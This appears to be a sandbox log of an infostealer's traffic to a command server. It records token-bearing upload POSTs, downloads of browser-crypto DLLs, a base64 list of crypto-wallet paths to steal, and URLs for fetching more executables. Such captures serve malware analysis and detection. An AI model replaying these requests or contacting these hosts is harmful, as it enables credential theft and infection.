Jul 24, 2024 02:38:59.666481972 CEST	1236	IN	Data Raw: ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 51 f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 2a f6 0a 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc ff ff 83 ec 0c e9 d9 fe ff ff 89 7c 24 08 c7 44 24 Data Ascii: \|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=xgat9$pa\|aQtD$pa$aRR
Jul 24, 2024 02:39:01.084898949 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 85.28.47.31 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:39:01.836112022 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:01.907371044 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAK Host: 85.28.47.31 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:39:02.542625904 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:02.563685894 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJK Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"------EBGIDGCAFCBKECAAKJJK--
Jul 24, 2024 02:39:03.101823092 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:03.384027004 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file"------JEBFIIIEHCFHJKFHDHDA--
Jul 24, 2024 02:39:03.944356918 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:04.189804077 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:04.372467041 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 24, 2024 02:39:05.065756083 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:05.251048088 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 24, 2024 02:39:05.686113119 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:05.869724035 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 24, 2024 02:39:06.202243090 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:06.406759977 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 24, 2024 02:39:08.007107019 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:08.190645933 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 24, 2024 02:39:08.410757065 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 24, 2024 02:39:08.640702009 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 24, 2024 02:39:09.116810083 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 85.28.47.31 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 24, 2024 02:39:09.789823055 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 24, 2024 02:39:09.839765072 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"wallets------CFCBFHJECAKEHIECGIEB--
Jul 24, 2024 02:39:10.025492907 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 24, 2024 02:39:10.027787924 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFI Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="message"ybncbhylepme------IJKKEHJDHJKFIECAAKFI--
Jul 24, 2024 02:39:10.216069937 CEST	411	IN	HTTP/1.1 200 OK Date: Wed, 24 Jul 2024 00:39:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 184 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 48 78 6f 64 48 52 77 4f 69 38 76 4e 7a 63 75 4f 54 45 75 4e 7a 63 75 4f 44 45 76 59 32 39 7a 64 43 39 6e 62 79 35 6c 65 47 56 38 4d 48 77 77 66 46 4e 30 59 58 4a 30 66 44 52 38 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 33 4e 76 61 32 45 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 77 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8U3RhcnR8NHxodHRwOi8vNzcuOTEuNzcuODEvY29zdC9nby5leGV8MHwwfFN0YXJ0fDR8aHR0cDovLzc3LjkxLjc3LjgxL3Nva2EvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8Mnw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	77.91.77.81	80	6896	C:\Users\user\Desktop\file.exe

